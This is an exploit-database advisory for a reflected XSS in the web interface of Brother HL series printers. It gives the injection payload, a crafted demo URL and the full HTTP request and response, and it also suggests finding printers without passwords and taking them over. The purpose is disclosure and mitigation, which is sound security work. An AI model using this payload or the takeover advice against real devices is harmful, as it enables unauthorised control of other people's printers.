XSS at Brother HL series printers

vendor:

HL series printers

by:

Huy Kha

6.1

CVSS

MEDIUM

Reflected XSS

CWE

Product Name: HL series printers

Affected Version From: Brother HL series printers

Affected Version To: Brother HL series printers

Patch Exists: NO

Related CWE: N/A

CPE: h:brother:hl_series_printers

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Mozilla FireFox

2018

XSS at Brother HL series printers

Starting searching for printers without having a password. When you see a yellow bar with ''Configure the password'' you can take over the full printer by putting a password on it. If you want to execute the XSS you need to be loged into the web interface first. Go to the following url: http://127.0.0.1/ and login with ''admin'' as password. Intercept now the request with Burpsuite. The XSS exist in the loginerror.html?url= parameter.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in the application.

Source

Exploit-DB raw data:

# Exploit Title: [ XSS at Brother HL series printers]

 
# Date: [30.05.2018]
 
# Exploit Author: [Huy Kha]

# Vendor Homepage: [http://support.brother.com]
 
# Software Link: [ Website ]
 
# Version: Brother HL series printers.

# Tested on: Mozilla FireFox 
 
# Reflected XSS Payload :

"--!><Svg/OnLoad=(confirm)(1)>"

# Description : Starting searching for printers without having a password. 
When you see a yellow bar with ''Configure the password'' you can take over the full printer by putting a password on it.


# PoC :
If you want to execute the XSS you need to be loged into the web interface first. 

# Example :

1. Go to the following url: http://127.0.0.1/
2. Login with ''admin'' as password
3. Intercept now the request with Burpsuite
4. The XSS exist in the loginerror.html?url= parameter

4. Demo URL: http://127.0.0.1/etc/loginerror.html?url=%2Fnet%2Fnet%2Fservice_detail.html%3Fservice%3D%2522--!%253E%253CSvg%2FOnLoad%3D(confirm)(1)%253E%2522%26pageid%3D241


# Request :

GET /etc/loginerror.html?url=%2Fnet%2Fnet%2Fservice_detail.html%3Fservice%3D%2522--!%253E%253CSvg%2FOnLoad%3D(confirm)(1)%253E%2522%26pageid%3D241 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0


# Response :

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 3389
Content-Type: text/html
Content-Language: nl
Connection: close
Server: debut/1.20
Pragma: no-cache

<?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html lang="nl" xmlns="http://www.w3.org/1999/xhtml" xml:lang="nl"><head><meta http-equiv="Content-Script-Type" content="text/javascript" /><meta http-equiv="content-style-type" content="text/css" /><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /><script type="text/javascript" src="/common/js/ews.js"></script>
 <link rel="stylesheet" type="text/css" href="../common/css/common.css" /> 
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# How to fix it? : Update the printer to Firmware 1.16 and set a new password.

# Screenshot : https://imgur.com/a/3OVTSZ4


# Note: The vendor has been contacted on 30-5-2018.